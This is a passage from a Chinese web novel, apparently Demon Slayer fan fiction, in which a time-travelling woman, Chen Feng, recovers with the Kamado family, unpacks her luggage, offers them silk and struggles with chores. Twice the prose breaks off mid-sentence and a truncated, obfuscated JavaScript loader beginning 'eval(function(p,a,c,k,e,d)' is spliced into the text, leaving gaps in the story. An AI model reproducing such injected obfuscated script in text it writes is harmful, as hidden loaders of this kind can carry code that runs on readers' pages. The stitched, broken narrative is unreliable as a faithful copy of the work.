幸好那时候陈凤十八岁了,她直接用家里最后的钱和曾经的亲人打官司,这才保住了大半的财产。 啊啊,真是…… 想到那些不开心的往事,陈凤心情很糟糕,她躺在被褥中望着天花板,默默的消化那些不好的情绪。 “刷拉——” 是纸门推开的声音,陈凤一抬眼,发现竟然是炭治郎,那男孩跪坐在门口正一脸笑容的看着她。 “凤小姐?你醒了啊!”炭治郎小心翼翼的开口,他刚刚闻到了房间中非常悲伤的味道,所以忍不住过来看看。 “啊,炭治郎,你回来了。” 陈凤有点高兴,因为炭治郎救了她的命,说起来,这还是她和炭治郎第二次好好说话呢。 “辛苦了,这一天生意如何?” 听到陈凤的回应,炭治郎眼前一亮,他直接从门口窜到了陈凤的身边,在陈凤还没反应过来的时候,就开始滔滔不绝的给陈凤讲他今天一天的经历。 “是啊,全都卖出去了,你不知道我又遇见了游助先生,他夸我们家的炭烧的好,因此拉到远处的城镇也很受欢迎,今天能够完全将炭卖出去还真是多亏了他呢。 啊,其实我本来能早点回家的,只不过三郎爷爷家的纸门坏了,所以我帮忙修了半天,三郎爷爷年纪大了腰不好,真是辛苦啊,子女都到大城市去奔生活了,只有三郎爷爷一个人在镇子上,啊,对了,还有五郎,翠子他们,是我在镇子上的好朋友哦,我和你说……” 好,好能说,好热情…… 陈凤躺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但是这也不对劲啊,陈凤记得自己去参加的线下活动是痒痒鼠,她是为了最喜欢的式神不知火才大老远的从徽洲开车跑到那去的,按照常理,她就算是要穿,也得穿到平安京时代吧? 算了,还是大正吧,大正好啊,再熬几年她去城市起码还能过上现代人生活。 不!更不对好吗! 陈凤猛然抬眼,看着炭治郎,她那严肃的神情,直接将炭治郎吓了一跳。 “怎么了?凤小姐,你,你还好吗?”炭治郎此时特别紧张,因为他感受到了从陈凤身上散发出来的焦急和惶恐的情绪,连带着他也跟着紧张起来。 “……没事。” 陈凤闭上眼,最终还是没有将心中的话说出来,她对炭治郎轻声道:“抱歉,我累了,先让我睡一会儿好吗?” “啊,好,那你先睡一会儿,晚饭的时候我会让祢豆子给你送来。” “嗯,谢谢。” 听到炭治郎走后,陈凤脑子特别乱。 完了,完了,地狱开局。 不提她够不上的大事件,就说眼前也是不妙啊。 这个时代可以说是科技发展欣欣向荣的时代,对整个社会来说当然是好事,但底层人民受到的冲击也是无法避免的。 就拿炭治郎家来说,他们家是靠着烧炭生活的,近些年还好,等到科技普及,不,等更好用的蜂窝煤普及大众之后,那灶门一家的收入就断了大半。 而且,按照陈凤对霓虹这边的理解,可以判断出,灶门一家是没有地的!他们家是山民,山民的意思是他们没有田产,也没有地契,也意味着,他们一家没有抗风险能力! 科技发展再繁荣,只要农民有地也能活下去,可是灶门家没有!不然他们家就不姓灶门,而是姓山本或者是田中了。 也就是说,如果没有收入的话,那么灶门家的这个房子是保不住的,因为他们一家人可以说是寄宿在这个山里,等什么时候,哪个富豪或者贵族,看上了灶门家居住的山,将其承包或买下,那么新山主是有权利将灶门家赶走的。 我靠,越想越绝望。 陈凤现在心中的紧迫感更强了,她不能再躺下去了,她必须得振作起来,然后想到挣钱的办法,现如今灶门家对她有恩,她不希望这家人以后会经历那种痛苦的命运。 啊,对了,还有最重要的一点,她现在是黑户啊!她就算想回家乡,但她现在也得依附于灶门家生活,也就是说,只有灶门家好,她才能好。 不然她就是有钱买回种花的船票……呵呵,先不说这是个什么年代,就算有那种远洋渡轮,她也得敢坐啊。她一个女孩子,独自一人在海上漂流那不是送菜吗! 4. 第四章 第四章 等陈凤终于能站起来时,已经过去一个月了。 其实按道理被半挂碾过没死,也没在ICU插管,只是在条件简陋的家中躺一个月就能下床活动,陈凤自己都觉得不可思议,但她没深究,直接归咎为穿越福利。 我都能重活一次了,我还有什么不知足的! 只不过…… “炭治郎,你身高多高啊?” 因为身上还是没有力气,陈凤只能被祢豆子和花子一同搀着在外走走,但是当她看到迎面而来,和自己差不多一般高的炭治郎时,完全懵了。 我,我记得我身高是165来着,炭治郎看上去才10几岁吧?霓虹小孩有这么高吗? “诶?我吗?”炭治郎看到陈凤能够出来走动本来还挺高兴的,谁知道陈凤上来就问他这个奇怪的问题,虽然不明所以,但炭治郎还是回答了她。 “大概有……五尺吧?”炭治郎想了想后得出了答案:“这还是半年前的三郎爷爷给我量的呢,嗯,总感觉这半年没长多少呢。” 提到身高,炭治郎也非常泄气,他好想快点长大一些,这样就能多干些活了。 五尺,也就是大概有150cm,陈凤想到这里,心中默念不要啊不要啊,而后她在祢豆子和花子的惊呼声中,挣开了两个人的搀扶,摇摇摆摆的向炭治郎走去。 “诶,小心啊!” 炭治郎没想到陈凤会忽然有这种举动,他看着跌跌撞撞朝自己走来,眼看着就要栽倒的女孩,连忙将其接住,灵敏的嗅觉最先捕捉到女孩身上的气息,那种热烈的,坚韧的,蓬勃向上的自由气息瞬间统治了炭治郎的所有神念。 每个人身上都有独属于自己的味道,炭治郎闻到过许多人的味道,但只有陈凤,给他带来的感觉是不一样的。 “小,小心……” 炭治郎扶着陈凤的肩膀帮她站好,他此刻才真正看清楚陈凤的面容,她双眼皮鹅蛋脸,鼻梁立体皮肤白皙,看人时从不避讳,没有少女的羞涩,反而带着一种不好惹的侵略性,但炭治郎就是觉得,这样的陈凤真好看,她就应该这样。 陈凤伸手比了比她和炭治郎的身高,郁闷的确定,她缩水了…… “怎么了?”炭治郎感觉陈凤十分郁闷,但却又很快调整好了心情,炭治郎心想,凤小姐的情绪还真是多变啊,但每次都能自己调整好,十分厉害呢。 “没什么。” 陈凤摇了摇头,她变矮这种事还是自己知道比较好,她看着炭治郎:“最近卖炭的生意还好吗?马上就要冬至了吧?” 现如今的霓虹过重大节日时,用的还是阴历年,但是过不了几年就因为崇拜西边,直接抛弃了阴历,改用和西方一样的公历了。 “嗨!放心好了。”炭治郎看着陈凤笑得十分爽朗,他大声回答:“我今年有好好努力,一定能赚够钱,让大家过好的!” “嗯,辛苦了。” 陈凤看着眼前小小年纪就负担起家庭责任的男孩子,心中十分赞赏,那么她也不能输。 “大哥!我准备好了。” 是竹雄的声音,这时候陈凤看到炭治郎腰间挂着斧头,显然是要出门的样子。 “啊,好,我马上过来。”炭治郎回应弟弟一声,而后看着陈凤道:“那,我得先出门了。” 见炭治郎要和弟弟显然是有事情,陈凤便不再挽留他 “好,一路小心。” “哥哥,和竹雄出门要小心啊。”祢豆子走过来继续扶住陈凤,花子也是,她对两个兄长挥了挥手,让他们注意安全,得到回应后,祢豆子和花子才扶着陈凤在院子里继续走动。 “他们两个是去干嘛啊?”陈凤忍不住好奇,今天炭治郎难得没下山去卖炭,但是他也没歇着,而是和弟弟出门,还带着斧头。 “哥哥们是出去伐木了。”花子抢先回答道:“因为我们家是烧炭为生的嘛,需要很多木头,所以现在全靠大哥和二哥。” “哦,这样……” 陈凤若有所思,因为她刚刚看到炭治郎和竹雄的身上穿着的棉袄,看上去十分单薄也就算了,他们的脚上甚至穿的还是草鞋…… 陈凤低头看了看自己脚上的新中式风小靴子,然后……又看了眼灶门姐妹的脚,她们两个和自己的兄弟们一样,穿的也是木屐…… 陈凤:“……” 怎么办好罪恶啊,我穿着靴子在地上走确实不冷,但这姐妹俩穿着木屐陪自己在寒风中走算怎么回事! “咳,我累了,咱们回屋吧。”陈凤移开视线,她现在浑身不得劲儿,已经没兴致散步了。 “嗯,好啊。” 祢豆子没有哥哥那么敏锐的情绪侦查力,花子还是个什么都不懂的小屁孩,所以陈凤说什么是什么。 将陈凤扶进屋子里,祢豆子询问:“我去给你拿点麦茶好吗?在外面走半天了,我怕你着凉。” “好,谢谢。”陈凤心中流泪,妹妹,真正会着凉的是你啊。 看着祢豆子蹦跳着离开的背影,陈凤心下感叹,真不愧是小孩子,火气就是壮啊。 啊,话说自己现在也应该是小孩吧? “花子。” 陈凤扭头对陪在自己身边的花子笑着道:“能帮我将那两个箱子移过来吗?那箱子下面有轮子,你应该能推过来。” “好的!” 那两个箱子是就是陈凤的28寸超大行李箱,当然还有一个用麻袋包裹的紧紧的包囊。当时也不知道她咋想的,看见那孩子要被车撞了,就直接拎着两个箱子冲过去了,现在想想……幸亏当时没撒手啊,不然她真的是白板穿越了。 花子见陈凤要整理自己的东西,她知道这个时候要避讳,但是……这两个箱子好大啊,凤姐姐能处理的过来吗? “那个,我,我去……”先去找姐姐和妈妈吧。 遇到不懂的事情,就得找姐姐和妈妈,花子是这么觉得的。 “不用。” 陈凤看了花子纠结的小脸忍不住一笑,她摇了摇头招呼花子坐到她身边:“过来吧,也好帮我整理一下。” 花子眼前一亮,她虽然懂事,被家里人教的很好,从不去动陈凤的东西,但是小孩子见到新奇的玩意也是会好奇的啊,所以见陈凤愿意留自己下来,便马上高兴的答应了。 陈凤先将挂在箱子上的一个随身包拿下来扔到一边,这个包里全是她的鞋子,为了不弄脏箱子她就单装在包里,然后挂在箱子上了。 鞋子一会儿再看,箱子里的东西才是重点。 对于花子而言,陈凤的两个大箱子无异于潘多拉魔盒,当这两个箱子如蚌壳一样打开之后,花子忍不住发出惊呼。 “哇!好多啊。” 你们知道行李箱的雪崩吗?它形成的原因,就是为了能在箱子里多塞一些超出体积范围内的东西,需要几个成年人坐在箱子上死命挤压,然后才能将箱子合上,也因此当箱子再度打开时,多日的压力会瞬间释放。 最先弹出来的是一大堆毛线团,因为她去玩的城市路过纺织业十分发达的城市,为了以后的DIY她买了很多毛线和布料。 陈凤捂脸,看着打开后差不多可以将整个屋子堆满的东西心中纳闷,她当时是怎么将这些东西装进去的? 灶门家给陈凤休息的屋子其实挺小的,说是房间,其实就是用木板从主卧室隔出一小块给陈凤。 其实灶门一家人没有自己的房间,他们家虽然是烧炭的,但炭是要去卖的,而且房子就那么大,为了节省开支,火墙就修了睡觉的主卧室,一大家子晚上睡在一起,节约又保暖。 然而陈凤是客人,且他们看到陈凤的穿衣打扮不是一般人,不可能一大家子和陈凤挤在一起,实在是没招了,才想出这么个用木板当屏风的法子。 虽然聊胜于无,但最起码陈凤也算有属于她的单间,但坏处就是她这个角落其实很冷,所以炭治郎每天晚上都得多给她点个火盆。 看着快要将她和花子妹妹埋了的杂物,陈凤想了想,还是先整理一下吧。 “哇,这个好好看,这个也好漂亮啊。” 花子看着地上琳琅满目的东西,激动但也一动都不敢动,她没见过这些东西,但也知道这些十分珍贵,即便刚刚陈凤让她留下来的原因是帮着整理,也迟迟不敢上手。 “想什么呢。” 陈凤敲了敲花子的头,而后又掐了一把小孩子白嫩嫩的脸蛋,见花子还是那副呆呆愣愣的样子,便不管她,自己上手收拾。 花子不敢碰陈凤的东西,便挨着陈凤静静的看,她那双漂亮的粉红色眸子好像小兔子一样,看到有趣的东西时会一闪一闪的。 陈凤先将没用的东西挑出来,比如说充电线之类的数码产品,除非她能活到一百年之后,否则这些东西和废品一样没法用了。 然后是她的洗漱用品,衣服和鞋子,哦,还有在这个世界相当于第二条命的药品。 陈凤打开药包,托了那三年病灾的福,陈凤每次出门都会带足够的药品,除了感冒发烧的,中暑止血的,最重要的就是抗生素。 陈凤记得盘尼西林问世还得二十多年之后呢,而且就算是问世了,那东西也贵比黄金,所以这些药必须得藏好。 然后是一些防身的东西,打火机,手电筒,电池,这些还能用,先放一边。 还有一些小包装的零食糖果之类的,到时候和灶门家的孩子一起分吧。 最后是衣服,真是谢天谢地她穿越的时间也是冬天,因此她带的衣服也都是冬天的衣服。 因为先前要开车,她穿在身上的那套红色凤绣图案的汉服是比较轻便的,厚实的冬衣在箱子里,一共有两套,一套是明制披风,是灰色兔毛材质,对襟上绣着清雅的文竹图案,另一件就是红色的斗篷了,斗篷的帽檐缝上了雪白的毛边,内里也是兔毛的材质。 这两件冬衣被放在袋子里用真空泵吸出了所有的气,看上去十分可怜。哎呀,没办法,为了节省空间嘛。 陈凤把那些衣服整理出来摊开,这些衣服,除了她搭配好的汉服以外,剩下的全部都是日常版的英伦风LOL裙套装,啊,这真是太好了! 陈凤再一次感谢自己是为了参加线下活动而出行的,带过去的衣服不是大众的日常穿搭,全是这种类型,这种英伦风的穿搭在现代可能会被打上小众服饰,但是在这个年代却能象征是大小姐的象征。 在这个年代能穿上洋装说明本身家境良好,俗话说人靠衣装,到时候她穿这身衣服就说自己是留洋回来的大家闺秀,没有人会不信。 嗯,就是搭配的鞋子不太合脚,她身体确定是缩水了,原来她穿38码刚好,但现在脚小了很多。 算了到时候找鞋垫垫上吧,继续继续…… 陈凤扭头看了一眼一直乖乖陪在自己身边的花子妹妹,心中觉得可爱,不得不说灶门家的孩子长得都好看,可能是因为妈妈葵枝就是个大美人的关系,几个孩子都随了她吧。 祢豆子是端庄典雅浑身散发温柔光芒的百合,活泼外向的花子就是灿烂明快的向日葵。 在收拾到自己的化妆品时,陈凤看到有两版崭新的发卡,便拿出来塞给花子。 “喏,拿去玩吧。” 那两对发卡是在精品店里顺手买的,但是陈凤一直没带过,所以送给花子正合适。 “诶,真的,真的给我吗?” 花子双手捧着接过后,还是不敢相信,她看着手上这两对精致的发卡,上面是闪亮亮的宝石和珍珠,心中震惊,这么珍贵的东西,她不能要啊。 “不行的,妈妈说不能要别人的东西。”尽管舍不得,但是花子还是觉得应该听葵枝的话。 “好了好了。”陈凤头也没抬的挥了挥手,示意花子自己去玩:“我也不是别人啊,这些日子在你家吃了这么长时间的白饭吗?” 陈凤说着,看了眼犹豫不决的小姑娘,笑了笑道:“所以,我送你礼物又有什么关系呢?” 听到这里,花子眼前一亮,她看着陈凤,又看了眼手中的发卡,最终才扭扭捏捏不好意思的问:“那,有两对发卡,我能给姐姐一对吗?” 这么好看的发卡,她要是能和姐姐一人一对戴在头上,一定很好看。 “不能。” 陈凤想也没想就拒绝,她低头继续整理东西,看也没看一脸失落的花子继续道:‘你姐姐不适合那个,我另有东西给她。’ 花子眼前一亮,她欢快的叫了一声,然后道:“那我去找姐姐去!” 陈凤嗯了一声:“去吧。”便继续低头,整理自己的东西,趁着花子走远,陈凤看了看行李箱中的木盒子,神色一暗,将其埋得更深了。 “凤姐姐,我端茶水过来了。” 没一会儿,屋外传来祢豆子的声音,花子也跟着她一起,说了一声我回来了,只不过这一次,小姑娘的声音蔫蔫的。 陈凤抬头一看,只见小妹妹垂头丧气的,而祢豆子也是一脸无奈,陈凤讶然的挑眉,显然有些意外。 “她怎么了?” “没什么,被妈妈教训了。”祢豆子看着自己的妹妹,将刚刚发生的事情说了,原来花子在得到礼物之后,直接兴高采烈的去给姐姐和妈妈炫耀,花子不仅将发卡戴在头上臭美的转了转圈,还兴高采烈的对祢豆子道: “姐姐,凤姐姐也说有礼物要给你。” 只不过话音刚落,就被葵枝责备了,其实葵枝的语气不重,她就是看到花子手中的发卡太过精致,甚至以为上前镶嵌的石头是宝石,觉得太贵了。 “花子,虽然说这是凤小姐送给你的,但实在是太贵重了,咱们不可以拿。” 葵枝看着泄气的女儿,忍不住笑了笑,严肃且温柔道:“这发卡或许对凤小姐而言不算什么,但妈妈也明白,凤小姐送出这件东西也是出于感激咱们家,所以咱们不能要。” 葵枝摸了摸花子的头,然后对祢豆子道:“祢豆子,带着花子将发卡还给凤小姐吧,并告诉她,我们对她的帮助从来都不是为了从她身上得到什么,只是出于善意,请她心中不要有任何负担。” 花子低着头,失落的将两对发卡原封不动的捧在手里,对陈凤道: “我妈妈说了,照顾你是为了行善,不是图你什么……”说着,又深深的鞠躬:“对不起,刚刚我其实也贪心了。” 陈凤一愣,她没有去接那对发卡,而是笑着道:“恩,你妈妈说的也对,但是……我给你发卡是因为喜欢你啊,也不是因为其他原因。” “可是……”花子看着陈凤,小声嘀咕:“你刚刚不是这么说的。” “嗯……”陈凤放下手中的活计,思索片刻后,慢慢道:“如果我是出于报答你们家的话,其实不应该给发卡,而是给真金白银。” 这话说出来后,一边的祢豆子惊呼一声:“才不是呢,我们不是这个意思。” “既然不是这个意思,为什么我送花子妹妹一对发卡都不行呢?”陈凤看着气鼓鼓的祢豆子只觉得新奇,因为这还是她第二次看到温柔的祢豆子脸上有这么大的情绪波动呢,至于第一次…… 不提也罢。 “错啦,是两对。”花子小声嘀咕一句,然后被陈凤敲了敲脑袋。 “好啦,收下吧,我是真的想要送给你们礼物,顺便,祢豆子,麻烦你把葵枝夫人叫过来。” 陈凤看着这箱子收拾的差不多了,也该继续下一步了。 这箱子里除了她的一些杂物,最大的收获,竟然是她好闺蜜留下的手账本! 她们先前是干科普视频的,所以除了露脸的主播,她们这些后勤必须得跟着一块整理资料,而她闺蜜又是个非常细致的女孩子,每次学到什么知识,都会耐心的记下笔记,多才多艺的她甚至还会给笔记配上图片! 啊,谢天谢地,好闺闺~我先前还特别嫌弃你往我的行李箱塞一大堆废本子,让我给你带回杭州老家,但现在来看,这些手账简直就是我安身立命的根本啊。 虽然这些知识陈凤也学过实践过,但是好记性不如烂笔头啊! 将这些厚笔记本收好,陈凤又整理了一些文具,除了各种好看的碳素笔和小本子,还有十只成套的钢笔,以及墨水套装,这些本来都是送给做手账的好友的,现如今在这个时代自己用也是刚好。 嗯,除此之外,还有什么呢? “凤小姐,我过来了。” 听到葵枝的声音,陈凤眼前一亮,她知道葵枝很忙的,家里大部分的家务都压在她身上,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈凤看着葵枝,她知道有些事情瞒着没用,现在她孤家寡人一个,一个屋檐下生活,该知道的都得知道了。 “事实上,我也不知道自己怎么会突然来到这里,只知道一睁眼,便被你们一家救了,因此,我现在的身份算得上流民。” 陈凤说着,长叹一口气:“十分抱歉,我不是这里的人,但是我需要落脚的地点,所以我希望得到您这个灶门家掌事人的许可。” “这样啊。” 葵枝顿了顿,虽然早有猜测,但当陈凤亲口说出时,葵枝还是忍不住惊讶,最终她并没有多问,就如同她先前所说的那样。 “你一定吃了很多苦。” 葵枝摸了摸陈凤的脸,对待陈凤的态度和对待自己的孩子无异:“但不用担心,有阿姨和叔叔在,绝对不会让你受委屈的。” “嗯……” 陈凤点了点头,她的性格说不出什么肉麻的话,她将一切都记在心里了,就看以后吧! “如此,我确实有些忙需要您来帮。” 听着陈凤的请求,葵枝露出一个开心的笑容,这是长久以来,陈凤第一次向她求助,她很高兴。 凤小姐真是一个自尊心超强的女孩子,这段时间葵枝看得特别清楚,为了不给人添麻烦,凤小姐平日连水都很少喝,就是怕需要上厕所时麻烦别人,如果不是祢豆子最先发现,发了一顿火,甚至要强硬的给凤小姐定时定点的灌水,这孩子可能一直得忍耐自己。 现如今,凤小姐主动开口提要求了,是不是证明这孩子的心扉终于敞开了呢。 “那个被扎紧的包囊,请问您有剪子吗?麻烦您帮我打开。” 葵枝当然说好,毕竟这可是陈凤的第一个请求啊。 等葵枝拿来小剪子的时候,她发现这包囊包的还挺厚实,先是一层秸秆一样的外皮(麻袋),再是一层厚实的黄色纸张(牛皮纸),这纸还真不错,葵枝摸着那光滑的牛皮纸,心中赞叹,她从没见过这么好的纸呢。 等打开牛皮纸后,还裹了一层米白色的布,这是……棉布吗?而当看清楚棉布下裹着的布料时,葵枝不敢动了。 这,这…… 葵枝看了眼自己的手,而后又看了眼面前五颜六色的丝绸,饶是她活了这么多年,都没见过这么颜色鲜艳,花纹精美的丝绸。 陈凤见葵枝将包囊打开后,兴致勃勃的凑过去看了一眼,确定这些都是她从杭州那买的好料子。 “没想到都在,完全没少。”陈凤拿起一块香云纱,心下庆幸,为了带这些料子回去,她将这捆布绑在两个箱子自己拖着,就是为了带回工作室后,和好朋友一起做汉服或者旗袍穿的,当时她特意选了好料子,没想到……哎。 陈凤看了一下,有轻薄的香云纱,厚实有垂度的织锦缎,光华软糯的素绉缎,华丽的宋锦,以及做睡衣的棉麻,甚至还有一匹有弹性的A类纯棉布料。 “我想将这些丝绸卖掉,给家里换一些粮食。” 陈凤看着葵枝诚恳道:“您既然接纳了我,那我也是这个家的一份子了,我不想将全部的担子都压在炭治郎身上。” 陈凤记得,她看的漫画和小说,总是说什么,将妻子的和服卖了之类的情节,那陈凤觉得,她这些料子可都是好东西,应该也能卖钱才对。 “不行。” 葵枝想也没想摇头拒绝了,她将手擦了又擦,好像下了很大的决心一般,才谨慎的用掌心里相对较嫩的皮肤触碰这些料子。 “可是……” 陈凤还想争取,但葵枝十分坚决:“这些料子是你的嫁妆吧?” 陈凤:“怎么可能?!” 葵枝见此挑眉,看来凤小姐比她想象中还要富裕,但她仍然摇头。 “这些布料,便是给下级贵族家的小姐当陪嫁也够了。”说着,葵枝碰到了那匹柔软有弹性的棉布,这匹布料柔软舒适得宛如婴儿的皮肤一般,让葵枝大为赞叹。 “这些都是好东西,你好好收起来吧,家里的事情不需要你一个女孩子来操心。” 任凭陈凤怎么说都没有,在她看来什么,这布料虽然好看,但是远不如换成食物吃到肚子里实惠。 但是葵枝不同意,因为葵枝觉得陈凤就是啥都不懂的大小姐,不谙世事的小女孩。 “这些东西……”葵枝蹙眉想了想,而后道:“等得空了,阿姨让炭治郎给你做个箱子,你好好保存起来,我得去找点樟脑,这么好的料子不能被虫子嗑坏了。” “先等等!” 陈凤一把摁住葵枝的手,将那匹柔软有弹性的棉布掏出来:“那些丝绸也就算了,这一匹布拿出来,给家里人做成里衣吧!” “诶,那怎么行。” 葵枝想都不想便要拒绝,但这次陈凤比她还坚决。 “怎么不行呢!”陈凤有些恼了:“这匹布是棉的,比不上丝绸,布放久了可是会坏的,我看炭治郎他们的外衣早就破了,做一件新的穿里面最起码能保暖啊。” 意识到自己语气有些急躁,陈凤缓和了语气:“再说了,您不是让我把这里当家吗?我怎么能看着家里人穿那么破,而无动于衷呢。” 葵枝眨了眨眼,见女孩因情绪激动,所以身体止不住颤抖的模样,想了想最终没有拒绝。 “你说的对,那阿姨不和你客气了。” 见葵枝终于愿意手下,陈凤心中长舒了口气。 总算能让她做点什么了,不然白吃白喝太难受了。 “不过这料子可真舒服啊,你说是棉的?不可思议,比六太的皮肤还柔软呢。” 葵枝笑眯眯的看着陈凤:“阿姨一会儿拿尺子来,也给你做一身。” “咳,我的话就不用了。” 因为意识到自己刚刚对葵枝的语气太激动了,陈凤有些不好意思和葵枝对视,因此她直接将行李箱中,属于自己的衣服拿出来。 “其实我有的,也够穿,就给您和伯父,还有炭治郎他们做吧。” 葵枝看着陈凤拿出来的打底衣,眼前一亮:“诶呀,这个剪裁合适,这样穿贴身保暖,而且还省布料,能不能借给阿姨一件?阿姨学着打板,这样能省下不少料子呢。” “啊,好。” 陈凤点点头,忽然想到了什么,而后凑到葵枝的耳边小声嘟哝几句。 葵枝看着脸颊红红的女孩,又看了眼她拿出来的贴身小衣服,露出了然的笑意。 “阿姨记得了,一定给你做出来。” “其实,祢豆子和花子也应该有的。”陈凤小声嘀咕道。 好尴尬,内衣内裤什么的,如果不是她不会针线,早就自己做了。 5. 第五章 第五章 等到陈凤完全能独自行动以后,她开始尝试和灶门家的女眷一同进行家务活,别看她这样,当年在学校里,她可是劳动标兵啊! 陈凤觉得小小的家务活而已,那不是手拿把掐,然后……她吹牛了。 “哗啦——” “凤姐姐!” 祢豆子被摔倒在地上的陈凤吓得够呛,她赶紧跑过去将陈凤扶起来,并检查有没有受伤。 “怎么了?祢豆子,我刚刚听到了不对,是不是有人受伤了?” 炭治郎本来在后院劈柴的,但是听到不对之后连忙放下手中的活计赶来。一起来的还有竹雄,相比起温柔的兄长,这小子脾气就没那么体贴了。 竹雄听到动静,就知道那个突然来到家中的娇小姐又闯祸了,忍不住蹙眉道:“你还真是会给人添麻烦的大小姐啊。” 说完,竹雄径自走过去将抹布拎起来拧干,然后娴熟的将地板上的水渍全部擦干净,明明竹雄看上去比炭治郎还小几岁,但是他干活麻利又好,几下子就把地板擦得光亮如新。 霓虹这边采用的都是木地板,都知道木头这东西娇嫩又难伺候,因此这里的人很爱惜家中的东西,就算是擦地也是用抹布跪在地上一点一点的擦。 陈凤看着竹雄几下子就将活干完,便端着水盆潇洒离去的背影,脸上发烫。 被一个小孩鄙视了…… 陈凤心中叹气,她做不好这种家务,这种家务真的太耗体力了,她从前都是请保洁,或者靠扫地机器人的。 “对不起。” 炭治郎看着一脸忧郁的陈凤,轻声替弟弟道歉:“竹雄不是有意的。” “对,没错,小雄他只是嘴上不好。”祢豆子也极力的为自己弟弟辩解,她能隐隐感觉到竹雄对陈凤的排斥,但却不明白为什么。 “我知道。” 陈凤摇摇头,她对炭治郎和祢豆子笑了笑,表示并不在意。 竹雄只是非常担心家里人罢了。 陈凤能够理解,因为如果是她小时候,家里忽然来了一个陌生人,什么都不会干,而且还在家里白吃白喝,陈凤觉得她说话可能会更难听。 但竹雄只是抱怨一句,随即又直接将陈凤原本的工作接过去了,说真的,陈凤觉得这小孩虽然别扭,但挺可爱的。 就在陈凤愣神的时候,忽然感觉到手上被一阵暖意裹紧。 是炭治郎,他握住了我的手?陈凤不明所以的眨了眨眼,她没想到炭治郎会忽然这样做,但她没觉得冒犯。 一旁的祢豆子眨了眨眼,她轻轻一笑,便默默的退出去,将陈凤交给哥哥安慰,而她这个当姐姐的,则是要去找别扭的弟弟好好做一番思想工作了。 “你不用逼迫自己的。” 炭治郎感觉到陈凤的手十分的冰冷,显然是因为泡在冷水中久了,他认真的对陈凤道:“每个人从一开始接触新事物的时候都不可能瞬间做好,所以慢慢来就够了,更何况……” 炭治郎垂眸,看了眼被自己握住的手,这双手非常漂亮,手指修长,肌肤细腻饱满,和自己,和母亲,甚至是祢豆子还有花子都不一样,她没有茧子,也没有劳作的痕迹。 “很辛苦吧。”炭治郎拧着眉,心中无限愧疚。 他应该再能干点就好了,妈妈和妹妹们就不用每天那么辛苦,阿凤也不会一直那么紧张。 “没关系。” 陈凤看着炭治郎,故作轻松的笑了笑:“我总是要学会的,不能一直在家里白吃白喝啊。” “你才不是白吃白喝呢!” 被炭治郎忽然提高的嗓门吓了一跳,陈凤讷讷的应了一声,然后眨巴着大眼睛看他。 “不许这么想,只是家务而已……总感觉凤小姐,一直在勉强自己呢。” 炭治郎垂眸,轻轻放开了握着陈凤的手,有些挫败。 听闻此言,陈凤顿时瞪大了双眼,她没想到,眼前才十多岁的男孩竟然这么敏锐吗? “我,我没有。”陈凤干巴巴的否认,但是在对上炭治郎那副:你别说谎了的表情时,陈凤长叹一声,最终还是说了实话。 “好吧,我只是想能尽早的融入这个家,寻找到自己的位置。” 陈凤摇了摇头,她发现炭治郎这个才十一二岁的小孩,对人的情绪实在是太过敏锐了,只要在他面前,谁都别想瞒过他。陈凤明白和这样气质的人对话,最重要的就是诚实,因此她决定坦白…… “嗯,怎么说呢……” 虽然决定坦白,但对陈凤而言,语言的艺术早就融入她和人交流的习惯中,说话要留白,都行,可以,请随意。等等,约饭,下次见…… 好吧,什么语言的艺术啊,都是成年人为了避免大量麻烦总结出的糟粕。 而现在,陈凤不能用这种糟粕来应付炭治郎。 “我需要住在这里。” 陈凤认真的对炭治郎道:“而且不是只住一时,可能需要很久很久,具体的时间我也说不准,总之,在我在你家住下的这段时间,我需要让自己彻底融入你们这个家庭,因此我必须得为这个家庭做点什么,否则就算是再好的两方人,都会心生怨怼,不过……哎!” 说到这里,陈凤就忍不住叹气。 其实她这几天惹出的麻烦不止这一次了,除了擦地板,陈凤还试过了其他家务。 洗衣服?呵呵,这个年代没有洗衣机,洗衣服是纯粹的体力活,得用棒子敲,用手搓!去污原料就是草木灰……灶门家由于是烧炭的,所以衣服成日带着灰黑,而灶门家又爱干净,所以衣服基本天天都得换。 陈凤洗了几件就腰酸背痛,而且手指也被泡肿了。 烧火做饭?现代人谁会用灶台火啊!陈凤跟着去第一次去烧火的时候,差点将厨房点了,说真的,葵枝脾气太好,她甚至都没责怪陈凤,只是让她出去和花子玩。 然后就是整理衣服…… 陈凤是个看着光鲜,其实内里特别随意的家伙,她在现代的家,洗完衣服直接扔衣柜里,叠都不叠,因为只要塞进衣柜谁会看啊。 因此,在祢豆子动作麻利的将一家人的衣服叠得四四方方,抽屉柜子里的东西摆放的整整齐齐时,陈凤还在那看着手里不听话的布料愣神呢。 说到这里,陈凤也有些郁闷:“这段时间我给阿姨和祢豆子她们惹了不少麻烦,她们没嫌弃我,我感激的同时,也更愧疚了……呜?” 陈凤瞪大了双眼,她感受着发顶传来的暖意,不知应该做什么反应。 “好乖好乖,不要怕哦。” 炭治郎笑着摸了摸陈凤的发顶,就如同他哄其他弟弟妹妹们一样,亲和又温柔:“这个家谁都没有逼你哦,凤小姐,不要害怕,我们大家都很喜欢你,更何况……”炭治郎看着陈凤,露出一个无奈的样子,显然是因为陈凤的不信任。 他轻声道:“而且,还有我在呢,一切都有我在,不用担心,我会扛起这个家,因为我是这个家的长男,是这个家的顶梁柱。” 即便只有一瞬,也足够让陈凤震撼,因为她真的在一个男孩的脸上看到了属于大人的担当,这种感觉怎么说呢,炭治郎身上的气质,她好像只在六七十年代的老照片里的老式小孩身上见过。 “好。” 陈凤看着炭治郎,向他保证:“虽然你是这个家的顶梁柱,但我比你大,所以这个家的责任我会帮你分担一半。” “诶?什么?” 炭治郎懵了,他不知是疑惑陈凤刚刚说的比他大,还是疑惑责任分担一半。 “带我到镇上一趟吧,我想买点东西。” 因为在炭治郎身上看到了有担当的人才拥有的气概,陈凤的好胜心瞬间被点燃了,她觉得一个小孩内心都那么坚韧,那她这个真正的大人也不能输。 先前是她钻牛角尖了,她擅长的东西不是那些家务活,而是知识,因此她的本事不是家中的一亩三分地内,她必须跳出灶门家这块地,到外面去,才能找到立身之本。 “你要买东西吗?需要什么?”炭治郎觉得陈凤或许是想置办些什么,他开始计算口袋里还剩下多少钱。 